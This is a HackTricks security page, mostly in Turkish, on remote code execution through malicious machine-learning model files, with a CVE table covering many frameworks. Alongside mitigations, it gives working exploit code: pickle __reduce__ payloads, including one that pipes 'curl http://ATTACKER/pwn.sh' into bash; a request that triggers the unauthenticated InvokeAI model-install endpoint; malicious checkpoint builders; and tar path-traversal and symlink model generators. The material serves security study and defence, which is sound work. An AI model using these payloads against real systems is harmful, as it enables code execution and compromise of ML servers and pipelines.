Modeller RCE

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Modelleri RCE'ye yükleme

Machine Learning modelleri genellikle ONNX, TensorFlow, PyTorch vb. farklı formatlarda paylaşılır. Bu modeller geliştirici makinelerine veya üretim sistemlerine yüklenip kullanılabilir. Genellikle modeller kötü amaçlı kod içermez, ancak bazı durumlarda model, kasıtlı bir özellik veya model yükleme kütüphanesindeki bir zafiyet nedeniyle sistemde rastgele kod çalıştırmak için kullanılabilir.

Yazım sırasında bu tür zafiyetlere bazı örnekler şunlardır:

Framework / AraçZafiyet (CVE varsa)RCE VektörüReferanslar
PyTorch (Python)torch.load içinde güvensiz deserializasyon (CVE-2025-32434)Model checkpoint'indeki kötü amaçlı pickle kod çalıştırmaya yol açar ( weights_only korumasını atlar)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + kötü amaçlı model indirme kod çalıştırmaya yol açar; yönetim API'sinde Java deserialization RCE
NVIDIA Merlin Transformers4Rectorch.load üzerinden güvensiz checkpoint deserializasyonu (CVE-2025-23298)Güvenilmeyen checkpoint load_model_trainer_states_from_checkpoint sırasında pickle reducer tetikler → ML worker'da kod çalıştırmaZDI-25-833
TensorFlow/KerasCVE-2021-37678 (güvensiz YAML)
CVE-2024-3660 (Keras Lambda)
YAML'den model yüklemek yaml.unsafe_load kullanıyor (kod çalıştırma)
Lambda katmanıyla model yüklemek rastgele Python kodu çalıştırır
TensorFlow (TFLite)CVE-2022-23559 (TFLite parsing)Kusurlu .tflite model tamsayı taşmasına neden olur → heap bozulması (potansiyel RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)joblib.load ile model yüklemek, saldırganın __reduce__ payload'unu içeren pickle'ı çalıştırır
NumPy (Python)CVE-2019-6446 (güvensiz np.load) tartışmalıVarsayılan olarak numpy.load pickled object array'lerine izin verir – kötü amaçlı .npy/.npz kod çalıştırma tetikler
ONNX / ONNX RuntimeCVE-2022-25882 (dir traversal)
CVE-2024-5187 (tar traversal)
ONNX modelinin external-weights yolu dizinden çıkabilir (rastgele dosyaları okuma)
Kötü amaçlı ONNX model tar'ı rastgele dosyaları üzerine yazabilir (RCE'ye yol açabilir)
ONNX Runtime (design risk)(No CVE) ONNX custom ops / control flowCustom operator içeren model, saldırganın native kodunu yüklemeyi gerektirebilir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanabilir
NVIDIA Triton ServerCVE-2023-31036 (path traversal)--model-control etkin iken model-load API'sinin kullanılması, dosya yazmak için göreli yol traversaline izin verir (ör. RCE için .bashrc üzerine yazma)
GGML (GGUF format)CVE-2024-25664 … 25668 (birden çok heap overflow)Bozuk GGUF model dosyası, ayrıştırıcıda heap buffer overflow'larına neden olup hedef sistemde rastgele kod çalıştırmaya olanak sağlar
Keras (older formats)(No new CVE) Legacy Keras H5 modelLambda katmanlı kötü amaçlı HDF5 (.h5) model hâlâ yüklemede kod çalıştırır (Keras safe_mode eski formatu kapsamaz – “downgrade attack”)
Others (general)Tasarım hatası – Pickle serializationBirçok ML aracı (örn. pickle-tabanlı model formatları, Python pickle.load) model dosyalarına gömülen rastgele kodu mitigasyon yoksa çalıştırır

Ayrıca, PyTorch tarafından kullanılanlar gibi bazı python pickle tabanlı modeller, weights_only=True ile yüklenmezlerse sistemde rastgele kod çalıştırmak için kullanılabilir. Bu yüzden, tabloda listelenmemiş olsalar bile herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.

🆕 InvokeAI torch.load üzerinden RCE (CVE-2024-12029)

InvokeAI Stable-Diffusion için popüler bir açık kaynaklı web arayüzüdür. Sürümler 5.3.1 – 5.4.2 kullanıcıların modelleri rastgele URL'lerden indirip yüklemesine izin veren /api/v2/models/install REST endpoint'ini açığa çıkarır.

İçeride endpoint eninde sonunda şu çağrıyı yapar:

python
checkpoint = torch.load(path, map_location=torch.device("meta"))

When the supplied file is a PyTorch checkpoint (*.ckpt), torch.load performs a pickle deserialization. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom __reduce__ method inside the checkpoint; the method is executed during deserialization, leading to remote code execution (RCE) on the InvokeAI server.

The vulnerability was assigned CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

İstismar adımları

  1. Kötü amaçlı bir checkpoint oluşturun:
python
# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
  1. Kontrolünüzdeki bir HTTP sunucusunda payload.ckpt dosyasını barındırın (ör. http://ATTACKER/payload.ckpt).
  2. Zafiyetli endpoint'i tetikleyin (no authentication required):
python
import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)
  1. InvokeAI dosyayı indirdiğinde torch.load() çağrılır → os.system gadget'ı çalışır ve saldırgan InvokeAI sürecinin bağlamında kod yürütmeyi ele geçirir.

Ready-made exploit: Metasploit module exploit/linux/http/invokeai_rce_cve_2024_12029 tüm akışı otomatikleştirir.

Koşullar

• InvokeAI 5.3.1-5.4.2 (scan flag default false)
/api/v2/models/install saldırgan tarafından erişilebilir olmalı
• Sürecin shell komutlarını çalıştırma izni olmalı

Önlemler

  • InvokeAI'yi InvokeAI ≥ 5.4.3 sürümüne yükseltin – yama varsayılan olarak scan=True ayarı getirir ve deserialization öncesinde kötü amaçlı yazılım taraması yapar.
  • Checkpoint'leri programatik olarak yüklerken torch.load(file, weights_only=True) veya yeni torch.load_safe yardımcı fonksiyonunu kullanın.
  • Model kaynakları için izin listeleri (allow-lists) / imzalar (signatures) uygulayın ve servisi en düşük ayrıcalıklarla çalıştırın.

⚠️ Unutmayın ki herhangi bir Python pickle tabanlı format (çok sayıda .pt, .pkl, .ckpt, .pth dosyası dahil) güvenilmeyen kaynaklardan deserialize edilmek için doğası gereği güvensizdir.


Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:

nginx
location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

🆕 NVIDIA Merlin Transformers4Rec RCE via unsafe torch.load (CVE-2025-23298)

NVIDIA'nin Transformers4Rec'i (Merlin'in bir parçası), kullanıcı tarafından sağlanan yollarda doğrudan torch.load() çağıran güvensiz bir checkpoint yükleyicisi açığa çıkardı. Çünkü torch.load, Python pickle'a dayanır; saldırgan kontrollü bir checkpoint, deserializasyon sırasında bir reducer aracılığıyla rastgele kod çalıştırabilir.

Vulnerable path (pre-fix): transformers4rec/torch/trainer/trainer.pyload_model_trainer_states_from_checkpoint(...)torch.load(...).

Why this leads to RCE: Python pickle'da bir obje, callable ve argümanlar döndüren bir reducer (__reduce__/__setstate__) tanımlayabilir. Callable, unpickling sırasında çalıştırılır. Böyle bir obje bir checkpoint'te varsa, herhangi bir ağırlık kullanılmadan önce çalışır.

Minimal malicious checkpoint example:

python
import torch

class Evil:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))

# Place the object under a key guaranteed to be deserialized early
ckpt = {
"model_state_dict": Evil(),
"trainer_state": {"epoch": 10},
}

torch.save(ckpt, "malicious.ckpt")

Teslim vektörleri ve etki alanı:

  • Trojanized checkpoints/models repos, buckets veya artifact registries aracılığıyla paylaşılan
  • Checkpoint'ları otomatik olarak yükleyen resume/deploy pipeline'ları
  • Çalıştırma, genellikle yükseltilmiş ayrıcalıklarla (ör. container'larda root) training/inference worker'ları içinde gerçekleşir

Düzeltme: Commit b7eaea5 (PR #802) doğrudan torch.load() çağrısını transformers4rec/utils/serialization.py içinde uygulanan kısıtlı, allow-listed bir deserializer ile değiştirdi. Yeni loader türleri/alanları doğrular ve yükleme sırasında keyfi callable'ların çağrılmasını engeller.

PyTorch checkpoint'larına özel savunma önerileri:

  • Güvenilmeyen veriyi unpickle etmeyin. Mümkünse Safetensors veya ONNX gibi yürütülebilir olmayan formatları tercih edin.
  • Eğer PyTorch serialization kullanmanız gerekiyorsa, weights_only=True (yeni PyTorch sürümlerinde desteklenir) ayarını sağlayın veya Transformers4Rec yamasıyla benzer şekilde custom allow-listed bir unpickler kullanın.
  • Model kaynak/imzalarını zorunlu kılın ve deserializasyonu sandbox içinde yapın (seccomp/AppArmor; non-root kullanıcı; kısıtlı FS ve ağ çıkışı yok).
  • Checkpoint yükleme sırasında ML servislerinden beklenmeyen child process'leri izleyin; torch.load()/pickle kullanımını trace edin.

POC ve vulnerable/patch referansları:

  • Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
  • Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
  • Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js

Örnek – kötü amaçlı bir PyTorch modeli oluşturma

  • Modeli oluşturun:
python
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Modeli yükle:
python
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Modellerde Path Traversal

Bu konuda this blog post belirtildiği gibi, farklı AI framework'leri tarafından kullanılan model formatlarının çoğu genellikle .zip gibi arşiv tabanlıdır. Bu nedenle, bu formatları suistimal ederek path traversal attacks gerçekleştirmek ve modelin yüklendiği sistemden rastgele dosyaları okumak mümkün olabilir.

Örneğin, aşağıdaki kodla yüklendiğinde /tmp dizininde bir dosya oluşturacak bir model oluşturabilirsiniz:

python
import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

Ya da, aşağıdaki kod ile yüklendiğinde /tmp dizinine bir symlink oluşturacak bir model oluşturabilirsiniz:

python
import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

Derinlemesine: Keras .keras deserialization and gadget hunting

.Daha fazla bilgi için .keras iç yapısı, Lambda-layer RCE, ≤ 3.8'deki arbitrary import sorunu ve allowlist içindeki post-fix gadget discovery üzerine odaklanmış bir rehber için, bakın:

Keras Model Deserialization Rce And Gadget Hunting

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin